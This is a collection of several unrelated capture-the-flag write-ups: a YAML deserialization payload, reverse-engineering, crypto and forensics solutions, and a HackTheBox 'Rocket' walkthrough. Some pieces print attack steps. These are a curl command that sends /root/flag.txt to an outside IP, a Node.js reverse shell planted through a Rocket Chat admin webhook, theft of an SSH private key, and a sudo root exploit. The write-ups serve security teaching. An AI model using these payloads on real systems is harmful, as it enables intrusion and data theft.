Short writeup per now. will update later create yaml file`!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]````http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=adminHTTP/1.0 200 OKContent-Length: 37Content-Type: application/jsonDate: Sun, 15 Aug 2021 03:07:47 GMTServer: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!"}``````http http://172.30.0.8:5000/login Host:manager.home.drive username=admin [email protected] password=adminHTTP/1.0 200 OKContent-Length: 277Content-Type: application/jsonDate: Sun, 15 Aug 2021 03:08:17 GMTServer: Werkzeug/2.0.1 Python/3.9.6 { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa-xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q"}``````http --path-as-is --form POST 'http://172.30.0.8:5000/admin/config' Host:manager.home.drive x-access-token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa-xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q [email protected]```
**Description:** CS1 ciphers go brrrrr **Solution:** Open and analyze attached file with ghidra - https://ghidra-sre.org In Main function you can find two interesting values: qe_mzp_xqffqderxms_iadpe_iuft_gzpqdeoad azeupqd_ftq_cgqefuaz_omz_ymotuzqe_ftuzwu_bdabaeq_fa_o If you look further response to the first value should be - "very funny" If you try to input the text that is being printed to the user ("flag_words_with_underscores_and_letters") to the program it will print "very funny" so at this point we know that "qe_mzp_xqffqderxms_iadpe_iuft_gzpqdeoad" == "flag_words_with_underscores_and_letters" Next function that is in that decompiled file is "rot" - rot is actually shift cipher If we check "qe_mzp_xqffqderxms_iadpe_iuft_gzpqdeoad" with rot14 we will get "es_and_lettersflag_words_with_underscor" at this point we see that rot14 is correct shift but still there is a little shift in string If we check "azeupqd_ftq_cgqefuaz_omz_ymotuzqe_ftuzwu_bdabaeq_fa_o" with rot14 we will get "onsider_the_question_can_machines_thinki_propose_to_c" We can just shift manually "onsider_the_question_can_machines_thinki_propose_to_c" to "i_propose_to_consider_the_question_can_machines_think" which is the flag **Flag:** uiuctf{i_propose_to_consider_the_question_can_machines_think}
## Farm ### Challenge > Explore the Farm very carefully!> - [farm.txz](https://cryp.toc.tf/tasks/farm_0a16ef99ff1f979039cda1a685ac0344b927eee6.txz) ```python#!/usr/bin/env sage from sage.all import *import string, base64, mathfrom flag import flag ALPHABET = string.printable[:62] + '\\=' F = list(GF(64)) def keygen(l): key = [F[randint(1, 63)] for _ in range(l)] key = math.prod(key) # Optimization the key length :D return key def maptofarm(c): assert c in ALPHABET return F[ALPHABET.index(c)] def encrypt(msg, key): m64 = base64.b64encode(msg) enc, pkey = '', key**5 + key**3 + key**2 + 1 for m in m64: enc += ALPHABET[F.index(pkey * maptofarm(chr(m)))] return enc # KEEP IT SECRET key = keygen(14) # I think 64**14 > 2**64 is not brute-forcible :P enc = encrypt(flag, key)print(f'enc = {enc}')``` The key is the product of 14 random elements selected from $GF(64)$. ### Solution Note that the product of two elements of $GF(64)$ is still an element of $GF(64)$. Inductively, the key lies in $GF(64)$. That is, the key space is just 64 and hence we are able to brute-force the key. ### Implementation ```python#!/usr/bin/env sageimport stringimport base64 enc = "805c9GMYuD5RefTmabUNfS9N9YrkwbAbdZE0df91uCEytcoy9FDSbZ8Ay8jj" ALPHABET = string.printable[:62] + '\\='F = list(GF(64)) def farmtomap(f): assert f in F return ALPHABET[F.index(f)] def decrypt(msg, key): dec, pkey = '', key**5 + key**3 + key**2 + 1 for m in msg: dec += farmtomap(F[ALPHABET.index(m)] / pkey) return base64.b64decode(dec) for possible_key in F: try: plaintext = decrypt(enc, possible_key) if b"CCTF{" in plaintext: print(plaintext.decode()) except: continue``` ##### Flag`CCTF{EnCrYp7I0n_4nD_5u8STitUtIn9_iN_Fi3Ld!}`
# Rocket ```# nmap -sCV -p- rocket.htbNmap scan report for rocket.htb (10.129.172.140)Host is up (0.15s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Rocket Hosting3000/tcp open ppp?```On port 3000 we can see a Rocket Chat login portal. As well described in [SonarSource blog](https://blog.sonarsource.com/nosql-injections-in-rocket-chat), Rocket Chat is vulnerable to a NoSQL injection. By resetting the password of a normal user, then a admin account it is possible to execute arbitrary commands through the administration interface.The exploit can be found [here](https://www.exploit-db.com/exploits/49960). This exploit needs a low priv user email and an admin email. Those emails can be found on the website port 80. ![Users email addresses](../img/email.png "Users email addresses") Here we will use `[email protected]` (low priv user) and `[email protected]` (admin user). In the current case the exploit needs to be modified to remove 2FA. We applied the following patch: ```pythondef changingadminpassword(url,token,code): #payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}' payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'[...]def twofactor(url,email): [...] #return code return ""``` ```$ python3 sploit.py -u [email protected] -a [email protected] -t http://rocket.htb:3000/[+] Resetting [email protected] password[+] Password Reset Email SentGot: _Got: _rGot: _rnGot: _rnZGot: _rnZcGot: _rnZcFGot: _rnZcF4Got: _rnZcF4aGot: _rnZcF4a2Got: _rnZcF4a2JGot: _rnZcF4a2JR[...]Got: _rnZcF4a2JRRP7xY_AGDxMjEOuKxKL-9XvYtAVHmhkO[+] Got token : _rnZcF4a2JRRP7xY_AGDxMjEOuKxKL-9XvYtAVHmhkO[+] Password was changed ![+] Succesfully authenticated as [email protected]Got the code for 2fa: ices.totp is undefined :\n@:1:56\n@:1:49\n"}[+] Resetting [email protected] password[+] Password Reset Email SentGot: nGot: nOGot: nOiGot: nOi2[...][+] Got token : nOi2zKQPCeLk-AJn3ApDl5JtzOtfnBn-SONT6oihZC0[+] Admin password changed !``` Once admin password changed we can login with username `admin` and password `P@$$w0rd!1234`. We can add the following reverse shell on the `administration interface / integrations / web hook`:```jsconst require = console.log.constructor('return process.mainModule.require')();(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(80, "10.10.14.27", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();``` ![RCE with the web hook](../img/rce_admin.png "RCE with the web hook") When hitting the Webhook URL(see screen above) the revshell is connecting back to us: ```$ nc -nvlp 80Listening on [0.0.0.0] (family 2, port 80)Connection from 10.129.1.7 50358 received!iduid=1000(ezekiel) gid=1000(ezekiel) groups=1000(ezekiel)```We can grab ezekiel rsa key to get an fully operational shell:```cat /home/ezekiel/.ssh/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAsEzrkmU/V0/a5EzaBR58XHHtnI7azu003705Pz+2Z+Q3fD9G+K/g[...]``` Once connected to ezekiel we can get user flag. We also noticed the sudo version is vulnerable to CVE-2021-3156.The exploit we used can be found [here](https://github.com/r4j0x00/exploits/tree/master/CVE-2021-3156_one_shot).```ssh [email protected] -i ezekiel_id_rsa ezekiel@rocket:~$ cat user.txt HTB{th3_p4ssw0rd_r3s3t_api_1s_n0t_r0ck_s0l1d} ezekiel@rocket:/tmp$ sudo -VSudo version 1.8.31Sudoers policy plugin version 1.8.31Sudoers file grammar version 46Sudoers I/O plugin version 1.8.31ezekiel@rocket:/tmp$ makegcc exploit.c -o exploitexploit.c: In function ‘main’:exploit.c:75:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration] 75 | execve(argv[0], argv, env); | ^~~~~~mkdir libnss_Xgcc -g -fPIC -shared sice.c -o libnss_X/X.so.2ezekiel@rocket:/tmp$ ./exploituid=0(root) gid=1000(ezekiel) groups=1000(ezekiel)root@rocket:/tmp#root@rocket:/tmp# cat /root/root.txtHTB{4lw4ys_upgr4d3_y0ur_syst3ms}```
# The Challenge The challenge is similar to the challenge [A3S](../A3S). We are given an implementation of a cipher `A3S` and a [.pdf](chal/help.pdf) file that briefly explains the cipher. A3S is very similar to AES, with some notable differences: 1. Trits are used instead of bits. This means working in `GF(3)` instead of `GF(2)`.2. The key expansion allows for keys larger than a round key. This means recovering the last round key isn't enough to recover the original key. This will become relevant later. We are also given `3^9` plaintext and ciphertext pairs and we have to recover the original key used in order to get the flag. ## Metadata So again I didn't solve this challenge during the CTF, but I really liked this challenge so here we are. This is by far the hardest CTF challenge I've solved so thanks for the great run! Also, this writeup is _long_, it took me a while to write everything down. # Some A3S Background As mentioned before, A3S is very similar to [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard). A3S operates on a state of `27` trits, arranged as `3x3` trytes (`3` trits to a tryte, kinda like `8` bits to a byte). The plaintext is converted to this state, which then passes through some operations, and the final state is then converted to the ciphertext. Just like AES, A3S has the operations for encryption: `substitute`, `shift_rows`, `mix_columns`, `add_round_key`. More details in the [challenge pdf](chal/help.pdf). An important thing to note is that `shift_rows`, `mix_columns` and `add_round_key` are all linear operations on the state. In a secure implementation, the `substitute` would be the crucial component ensuring the cipher isn't affine, which is Very Very Bad™. See my solution for the challenge [A3S](../A3S). The lookup table for this substitution is the all important `SBOX`. The key expansion for A3S relies on `substitute` as well to ensure the key expansion isn't affine. This will be important later. # The Vuln From now on, assume we are working with `GF(3)` unless stated otherwise. This means if you were to see, say, `2+2`, take modulo 3 and we have `2+2=1`. I shamefully didn't notice when solving [A3S](../A3S) but the author provided a hint in the [A3S source](chal/mini.py): A comment `Secure enough ig` right above the SBOX that's also present in the [A3S](../A3S) challenge. So yes! Just like its child challenge, the SBOX is vulnerable. This can be seen by plotting its difference distribution table, which is plotting `a+b` over `SBOX[a] + SBOX[b]`. ```pythonfrom mini import * # Import challenge code import matplotlib.pyplot as pltimport numpy as np mat = np.zeros((27,27))for a in range(27): for b in range(27): sa, sb = SBOX[a], SBOX[b] i = tri_to_int(t_xor(int_to_tyt(a )[0], int_to_tyt(b )[0])) o = tri_to_int(t_xor(int_to_tyt(sa)[0], int_to_tyt(sb)[0])) mat[o][i] += 1 plt.imshow(mat)plt.show()``` This looks bad, as a good SBOX should have a pretty uniform differential table. It's a good indication that the SBOX is _really_ close to being affine, and it's pretty straightforward to derive this affine approximation: ```pythondef sbox_affine(i:tuple): return ( (0 + i[0]*1 + i[1]*1 + i[2]*0), (0 + i[0]*0 + i[1]*0 + i[2]*1), (1 + i[0]*0 + i[1]*2 + i[2]*2) ) SBOX_AFFINE = tuple(tri_to_int(sbox_affine(int_to_tyt(a)[0])) for a in range(27))``` Plotting `SBOX_AFFINE`'s differntial table yields: Also `SBOX` and `SBOX_AFFINE` turn out to be _really_ similar: ```pythonprint(SBOX_AFFINE)print(SBOX) # > (9, 10, 11, 1, 2, 0, 20, 18, 19, 3, 4, 5, 22, 23, 21, 14, 12, 13, 24, 25, 26, 16, 17, 15, 8, 6, 7)# > (9, 10, 11, 1, 2, 0, 20, 18, 19, 3, 4, 5, 22, 23, 21, 14, 12, 26, 24, 25, 13, 16, 17, 15, 8, 6, 7)``` `SBOX` and `SBOX_AFFINE` differ only in 2 values. This means that `25/27 ~ 93%` of the time, `SBOX` is affine! Remember how the `SBOX` is the all important component that ensures that the cipher isn't affine? Having `SBOX` behave like an affine transform _most_ of the time is pretty bad. Now, despite being affine `93%` of the time, it's very unlikely to make a particular instance of A3S encryption entirely affine. Since the SBOX is applied _many many times_ during encryption, there is bound to be once where the SBOX isn't affine, causing the whole encryption to not be affine. So instead of saying that with this `SBOX`, the A3S approximates an affine transform, it's a better description to say that small sections of an A3S encryption instance is gonna be affine. We don't know where and when these affine portions are, but we can be fairly confident that small parts of it is _likely_ to be affine. # Attack Approach Unlike in the previous challenge [A3S](../A3S), it's unlikely that there's a plaintext-ciphertext pair that's completely affine for us to exploit. However, we can exploit the _very probably_ affine-ness of small parts of the encryption. Furthermore, we'd want to recover all the round keys, which are `3*8*9 = 216` `GF(3)` values. This means that we'd want to recover at least `216` constraints to solve for the round keys. Preferably, these constraints are linear in `GF(3)` to make solving for the round keys really easy. There are 2 places to get these constraints. The obvious one is the key expansion algorithm itself, and the next is the plaintext-ciphertext pairs. From now on, `kr` will refer to the round keys, plaintext is `pt` and ciphertext is `ct`. So here's the plan: 1. Create a symbolic, affine version of the A3S that's a close approximation to the original.2. Recover as many constraints on `kr` from the key expansion.3. Correlate the output of our affine A3S with the known `pt` and `ct` pairs to form more constraints on `kr`4. With hopefully > 216 constraints, we can solve for `kr`. Recovering all the round keys is equivalent to recovering the original key as the original key is simply the first few round keys. ## Creating a symbolic affine A3S Just like in the [previous challenge](../A3S), I chose to modify the given implementation to accept `GF(3)` symbolic variables. First, importing and processing what's given to us from the challenge: ```pythonimport mini as orig # Import challenge codefrom mini import * # Import challenge codefrom out import * # Import output of challenge code given to us F = GF(3) # Field we are working in # Convert known ct to the 3x3 tryte stateserver_ct = [up(int_to_tyt(byt_to_int(ct)), W_SIZE ** 2, int_to_tyt(0)[0])[-1] for ct in all_enc]# Flatten the ct to 27 trit vectorsserver_ctv = [vector(F, [i for j in ct for i in j]) for ct in server_ct]# Convert known pt to the 3x3 tryte stateserver_pt = [up(int_to_tyt(pt), W_SIZE ** 2, int_to_tyt(0)[0])[-1] for pt in range(3^9)]# Flatten the pt to 27 trit vectorsserver_ptv = [vector(F, [i for j in pt for i in j]) for pt in server_pt]``` Creating the symbolic variables: ```pythonptkr = PolynomialRing(F, ['pt%d'%i for i in range(9*3)] + ['kr%d'%i for i in range(9*3*8)]).gens() # Flattened pt variablespt_v = ptkr[:9*3]# pt variables in 3x3 trit formatpt = tuple(tuple(pt_v[i*3:i*3+3]) for i in range(9))# Flattened kr variableskr_v = ptkr[9*3:]# kr variables in 3x3 trit round keys formatkr = tuple(tuple(tuple(kr_v[i*9*3:i*9*3+9*3][j*3:j*3+3]) for j in range(9)) for i in range(8))``` Now to modify the implementation to be `GF(3)` friendly: ```pythonxor = lambda a,b: a+buxor = lambda a,b: a-bt_xor = lambda a,b: tuple(x+y for x,y in zip(a,b))T_xor = lambda a,b: tuple(t_xor(i,j) for i,j in zip(a,b))t_uxor = lambda a,b: tuple(x-y for x,y in zip(a,b))T_uxor = lambda a,b: tuple(t_uxor(i,j) for i,j in zip(a,b)) SBOX_TYT = dict((int_to_tyt(i)[0], int_to_tyt(s)[0]) for i,s in enumerate(SBOX))ISBOX = tuple(SBOX.index(i) for i in range(27))ISBOX_TYT = dict((int_to_tyt(i)[0], int_to_tyt(s)[0]) for i,s in enumerate(ISBOX)) def sbox_affine(i:tuple): return ( (0 + i[0]*1 + i[1]*1 + i[2]*0), (0 + i[0]*0 + i[1]*0 + i[2]*1), (1 + i[0]*0 + i[1]*2 + i[2]*2) ) def expand(tyt): words = tyt_to_wrd(tyt) size = len(words) rnum = size + 3 rcons = rcon(rnum * 3 // size) for i in range(size, rnum * 3): k = words[i - size] l = words[i - 1] if i % size == 0: s = tuple(sbox_affine(i) for i in rot_wrd(l)) k = T_xor(k, s) k = (t_xor(k[0], rcons[i // size - 1]),) + k[1:] else: k = T_xor(k, l) words = words + (k,) return up(down(words[:rnum * 3]), W_SIZE ** 2, int_to_tyt(0)[0]) def tri_mulmod(A, B, mod=POLY): c = [0] * (len(mod) - 1) for a in A[::-1]: c = [0] + c x = tuple(b * a for b in B) c[:len(x)] = t_xor(c, x) n = -c[-1]*mod[-1] c[:] = [x+y*n for x,y in zip(c,mod)] c.pop() return tuple(c) def tyt_mulmod(A, B, mod=POLY2, mod2=POLY): fil = [(0,) * T_SIZE] C = fil * (len(mod) - 1) for a in A[::-1]: C = fil + C x = tuple(tri_mulmod(b, a, mod2) for b in B) C[:len(x)] = T_xor(C, x) num = modinv(mod[-1], mod2) num2 = tri_mulmod(num, C[-1], mod2) x = tuple(tri_mulmod(m, num2, mod2) for m in mod) C[:len(x)] = T_uxor(C, x) C.pop() return C def add(a,b): return tuple( tuple(x+y for x,y in zip(i,j)) for i,j in zip(a,b) ) def sub(a): return tuple( sbox_affine(x) for x in a ) def shift(a): return [ a[i] for i in SHIFT_ROWS ] def mix(tyt): tyt = list(tyt) for i in range(W_SIZE): tyt[i::W_SIZE] = tyt_mulmod(tyt[i::W_SIZE], CONS) return tuple(tyt)``` Now I can simply call, say, `mix(pt)` and get the symbolic representation of `mix`: ## Scavaging ~168 linear constraints from the key expansion Refering to the [.pdf](./chal/help.pdf) given: The third line is an obvious linear constraint on `kr`. This generates `135` constraints: ```python# xkey_mat1 * kr = xkey_const1 xkey_mat1 = [] # An array of 135 x 216 numbersxkey_const1 = [] # A vector of 135 numbers for i in range(6,24): if i%5 == 0: continue for j in range(9): r = vector([0]*3*8*9) r[i*9+j] = 1; r[i*9-9+j] = 2; r[i*9-9*5+j] = 2 xkey_mat1.append(r) xkey_const1.append(0)``` The second line is a little trickier. Notice the `Sub` operation? It's affine `93%` of the time, but not _all_ the time. During the key expansion of the key for this challenge, `SBOX` is used a total of 12 times. This means there's around `12 * 8% ~ 1` instance where the constraint isn't linear. If we replace the `sub` operation with its affine counterpart, we'd generate around `36` constraints. However, we expect about one of the SBOX applications to differ from our affine approximation. Each time that happens, it invalidates `3` of our constraints. So we should expect about `36-3 = 33` valid linear constraints, we just don't know _which_ of the SBOX affine approximation is invalid. No matter. Since there's only `12` SBOX applications, we can simply bruteforce which one wasn't valid if it exists. Creating the constraints: ```python# Symbolically execute the 2nd line of the key expansion# and save the eqnsxkey_eqns = []for i in range(5,25,5): rcons = ((1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 0, 2)) k = [tuple(kr_v[(i-5)*9:(i-5)*9+9][j*3:j*3+3]) for j in range(3)] l = [tuple(kr_v[(i-1)*9:(i-1)*9+9][j*3:j*3+3]) for j in range(3)] s = sub(rot_wrd(l)) k0 = T_xor(k, s) k0 = (t_xor(k0[0], rcons[i // 5 - 1]),) + k0[1:] k0 = [i for j in k0 for i in j] k0 = [i-j for i,j in zip(k0,kr_v[i*9:i*9+9])] xkey_eqns.extend(k0) # Create matrix from the eqns abovexkey_mat2 = []xkey_const2 = []for k in xkey_eqns: r = vector([0]*3*8*9) s = 0 for v,c in k.dict().items(): if 1 not in v: s -= c continue else: vi = list(v).index(1) r[vi - 9*3] += c xkey_mat2.append(r) xkey_const2.append(s)``` This gives a total of about `135 + 33 = 168` linear constraints on `kr`. That's still about `48` constraints short of the `216` goal. ## Scavaging the known pt-ct pairs for 54 linear constraints. This is where the bulk of my time was spent solving this challenge: Scraping for enough constraints from the pt-ct pairs. We'll start by defining the areas of interest. These areas are where we'd correlate the output of our affine model and the actual A3S output to derive more constraints. I've found 2 areas of interests, each giving `27` constraints. There are more areas, but the areas I've chosen make implementation really easy: ```pythondef forward_to_checkpoint(ctt, keys, checkpoint): """ Encrypts ctt with keys to the checkpoint ctt is the plaintext in 3x3 tryte format keys is the expanded key """ ctt = add(ctt, keys[0]) for r in range(1, len(keys) - 1): ctt = sub(ctt) ctt = shift(ctt) ctt = mix(ctt) ctt = add(ctt, keys[r]) if checkpoint==0: return ctt ctt = sub(ctt) ctt = shift(ctt) if checkpoint==1: return ctt ctt = add(ctt, keys[-1]) return ctt``` As you can see, I chose to stop at checkpoints `0` and `1`, where `0` is right before the last `substitute` operation, and `1` is before the last `add_round_key` operation. I've also implemented a function that outputs matrices of interest at that checkpoint: ```pythondef gen_mat(checkpoint): """ Generates matrices and vectors corresponding to the affine transform to `checkpoint`. Returns ptmat, ptconst, kptmat where ct = ptmat*pt + ptconst + kptmat*kr """ # pt and kr are symbolic ctt = forward_to_checkpoint(pt, kr, checkpoint) # Create the matrix from resulting # symbolic equation ptmat = [] kptmat = [] ptconst = [] for w in ctt: for t in w: rpt = vector([0]*9*3) rkpt = vector([0]*9*3*8) s = 0 for v,c in t.dict().items(): if 1 not in v: s += c; continue vi = list(v).index(1) if vi>=9*3: rkpt[vi-9*3] += c else: rpt[vi] += c ptmat.append(rpt) ptconst.append(s) kptmat.append(rkpt) # ct = ptmat*pt + ptconst + kptmat*kr return matrix(F, ptmat), vector(F, ptconst), matrix(F, kptmat)``` ### Checkpoint 0 Here's the plan: 1. Partially encrypt two `pt` using our affine model up till checkpoint 0 and take the difference2. Guess a tryte of the last round key `last_key` (27 possibilities)3. Using said tryte, partially decrypt a tryte from each of the two corresponding `ct` using the original A3S up till checkpoint 0 and take the difference4. If the guess of the `last_key` tryte is correct, there is a higher chance that the output of step `3` matches the corresponding tryte of the output of step `1`.5. Repeat steps `1` to `4` for all possible guesses of said tryte.6. Repeat steps `1` to `5` for more `pt` and `ct` pairs until it becomes clear which tryte guess is the correct tryte7. Repeat steps `1` to `6` for every tryte of `last_key` until you've recovered the whole of `last_key` (9 trytes) Why it works: Using the affine model for step `1`, the difference will not be affected by `kr`. To see this, let the 2 plaintexts be `pt1, pt2`: ```step1(pt1, pt2) = ptmat*pt1 + ptconst + kptmat*kr - (ptmat*pt2 + ptconst + kptmat*kr) = ptmat*(pt1 - pt2)``` As `ptmat` is a constant, step 1 output is independent of `kr`. Now, if for step `3`, we were to use the affine model to partially decrypt, and take the difference, we'd have the output of step `3` independent of `last_key`. However, since this partial decryption goes through SBOX, which isn't perfectly affine in the original A3S, our choice of `last_key` actually does affect the output of step `3`, albeit rarely (~8% of the time). You can think of this as "leaking" information of the `last_key` by virtue of the SBOX not being perfectly affine. So why should we expect `step1(pt1, pt2) == step3(ct1, ct2)` to hold true at a higher probability if `last_key` is correctly guessed? If `step1` is done with the original A3S instead of our affine model (with the correct `kr`), the equality should _always_ hold. Hence, it's probable enough that with our affine approximation, this would hold as well, but with the important added benefit of **not being dependent on `kr`**. This means we can guess the value of `last_key` independently of the rest of `kr`. In addition, we can guess `last_key` tryte by tryte, requiring only `27*9` guesses per known `pt1-pt2, ct1-ct2` pair. Since each tryte we try is independent of one another, each section of the A3S algorithm we are relying on to be affine is small, which means there's an _okay_ chance of our affine model behaving the same way as the original A3S! Here's the implementation: ```python# Calculate `ptmat`ptmat, _, _ = gen_mat(0)# Encrypt all known pt up till checkpoint 0spt = ptmat * matrix(F, server_ptv).Tspt = spt.T # Collect 3^9*8 pt differences# Offsets used are just powers of 3# No reason for it, it just looks nicedspt = []for offset in [1,3,9,27,81,243,729,2187]: dspt += [(spt[i]-spt[(i+offset)%3^9], (i,(i+offset)%3^9)) for i in range(3^9)] # An array of 9 dictionaries# > each element corresponds to each tryte of the last_key# > each element is a dictionary containing the "score" of each# possible guess# > The higher the score the more probable the tryte is the # correct guessall_kscore = [] for cidx in range(9): # enumerate all trytes of `last_key` pidx = SHIFT_ROWS[cidx] kscore = [0]*27 for dptidx in range(len(dspt)): dpt,(i0,i1) = dspt[dptidx] dct = (server_ct[i0], server_ct[i1]) c = (dct[0][cidx], dct[1][cidx]) p = tuple(dpt[pidx*3:pidx*3+3]) for k in range(27): # enumerate all tryte guesses # Partial decrypt kt = orig.int_to_tyt(k)[0] ci = (orig.t_uxor(c[0],kt), orig.t_uxor(c[1],kt)) # unadd ci = (ISBOX_TYT[ci[0]], ISBOX_TYT[ci[1]]) # unsub ci = orig.t_uxor(ci[0], ci[1]) if ci == p: # if matches, add 1 to score kscore[k] += 1 print(dptidx, end="\r") all_kscore.append(kscore) print(cidx, 'done!') # Get the k with the highest scores as the last_keylast_key = [int_to_tyt(all_kscore[i].index(max(all_kscore[i])))[0] for i in range(9)]last_key = [i for j in last_key for i in j]print(last_key)# > [2, 1, 1, 0, 1, 2, 2, 1, 2, 0, 1, 0, 1, 2, 1, 0, 0, 1, 1, 1, 0, 2, 1, 0, 1, 2, 0]``` To be more confident that I've tried enough pt-ct pairs, I plotted the scores to see if the peaks are obvious: ```pythonimport matplotlib.pyplot as pltimport numpy as np fig, ax = plt.subplots(nrows=1, ncols=9)fig.set_figheight(5)fig.set_figwidth(20)for j,col in enumerate(ax): col.axis('off') col.set_title(str(j)) col.plot(np.array(all_kscore[j]))plt.show()``` The peaks are pretty defined, so we can be confident that the recovered `last_key` is correct. Hence we have here `27` constraints! On a side note, in regular AES, recovering the last round key like we have here would be enough to recover the original key as the expansion algorithm is reversible. However, in A3S, to support arbituary length keys, this is no longer possible. To see why, the original key in this challenge is `3*3*5 = 45` trits. However, we only know `27` trits of information! That's not nearly enough to know the full original key! ### Checkpoint 1 We can recover `27` more constraints with checkpoint 1 with a similar, but way simpler, attack. The plan: 1. Partially encrypt all known `pt` to checkpoint 1 with our affine model with `kr` be all `0`s. Let the output of this step be `A(pt)`2. Take `ct - A(pt)` 3. The most common value of each trit of `ct - A(pt)` will be equal to the corresponding trit of `M x kr` where `M` is a constant matrix. And boom! Another `27` constraints! Why it works: Remember how `ct = ptmat*pt + ptconst + kptmat*kr` with our affine model? If we encrypt `pt` with our affine model with `kr = 0`, we'd have. ```A(pt) = ptmat*pt + ptconst + kptmat*0 = ptmat*pt + ptconst``` At the same time, `ct` was encrypted with a none-zero `kr`! So: ```ct = ptmat*pt + ptconst + kptmat*kr + last_key // Assuming our affine model holds = A(pt) + kptmat*kr + last_key kptmat*kr + last_key = M x kr = ct - A(pt)``` And there! We have `M x kr = <stuff we can compute>`. Of course this does not hold _all the time_. The affine model would hold _once in a while_ for certain trits in the equation. That's why we should take the most probable value for each trit in `ct - A(pt)`. Here's the implementation: ```pythonptmat, ptconst, kptmat = gen_mat(1) # Get all 3^9 values of ct-A(pt)spt = ptmat * matrix(F, server_ptv).T + matrix(F, [list(ptconst)]*3^9).Trhs_prob = matrix(F, server_ctv).T - spt # Get most probable trit# rhs = ct - A(pt)from collections import Counterrhs = [sorted(Counter(i).items(), key=lambda x:x[1])[-1][0] for i in rhs_prob] # Calculate M# M*kr = rhs should holdM = np.zeros((27,216))for i in range(27): M[i][216-27+i] = 1M = matrix(F,M) + kptmat``` ## Putting all the constraints together At this point we have `168 + 27 + 27 = 222` constraints, `6` more constraints than we actually need. That's a good thing! It would be sorta a buffer in case more than `3` constraints were invalid in the key expansion as mentioned earlier. Having more constraints would also verify that whatever we are doing is indeed correct. Putting the constraints together: ```pythondef build_solve_mat(xkey_mat2, xkey_const2): """ Collate all linear constraints together. > arguments corresponds to the constraints from the key expansion that requires SBOX. We might need to remove some of those constraints, hence they are placed as arguments for easy modifications """ # Form the 54 constraints # 27 from knowing the last_key a3s_lhs = [[0]*216 for _ in range(27)] a3s_rhs = last_key.copy() for i in range(27): a3s_lhs[i][216-27+i] = 1 # 27 from assuming the whole cipher is linear a3s_lhs.extend(list(M)) a3s_rhs.extend(rhs) # Combine with key expansion # From expansion that doesn't involve sbox a3s_lhs.extend(list(xkey_mat1)) a3s_rhs.extend(list(xkey_const1)) # From expansion that involves sbox (that might be wrong) a3s_lhs.extend(list(xkey_mat2)) a3s_rhs.extend(list(xkey_const2)) a3s_lhs = matrix(F, a3s_lhs) a3s_rhs = vector(F, a3s_rhs) return a3s_lhs, a3s_rhs # Assume one sub wasnt affine in the key expansionfor i in range(12): # Try all 12 possible substitutions a = xkey_mat2.copy() b = xkey_const2.copy() a = [p for j,p in enumerate(a) if j not in range(i*3,i*3+3)] b = [p for j,p in enumerate(b) if j not in range(i*3,i*3+3)] l,r = build_solve_mat(a,b) try: key_recovered = l.solve_right(r) print("kr found! ^-^") break except: # Crashes if l.solve_right has no solutions pass # Check if the equation l*kr = r has more than 1 solutionassert len(l.right_kernel().basis()) == 0, "Not the only solution!"``` Now that we have found `kr`, we can now recover the original key and decrypt the flag! ```pythonkey_recovered = [int(i) for i in key_recovered]key_recovered = tyt_to_int(tuple(tuple(key_recovered[i*3:i*3+3]) for i in range(15)))key_recovered = int_to_byt(key_recovered)print("Original Key:", key_recovered.hex()) from hashlib import sha512 hsh = sha512(key_recovered).digest()flag = byte_xor(hsh, enc_flag)print(flag.decode()) # > 0ccd69448c6318f2# > rarctf{5t0p_Pos71n9!_4b0ut_4m0NG_U5!!_17's_n0t_7uNN7_3b9cc8e124}``` The solve script for this challenge can be found in the [./sol](./sol) folder. Out of curiousity, this is the final matrix plotted: ![](./rsrc/solve_mat.png) You can really see `mix_columns` doing its job.
# Hiding in plain sight / Forensics --- ## Description I think there is something fishy about this image. Can you help me out? Flag format: flag{string} --- ## Solution ![img](https://i.imgur.com/ZSLbsBy.png) after downloading this image first thing should we do is "strings" cmd, that's it ![img](https://i.imgur.com/06CVJ8J.png) We got the flag :"D --- ## Flag flag{h1dd3n_t3xt_1n_pl41ns1ght}
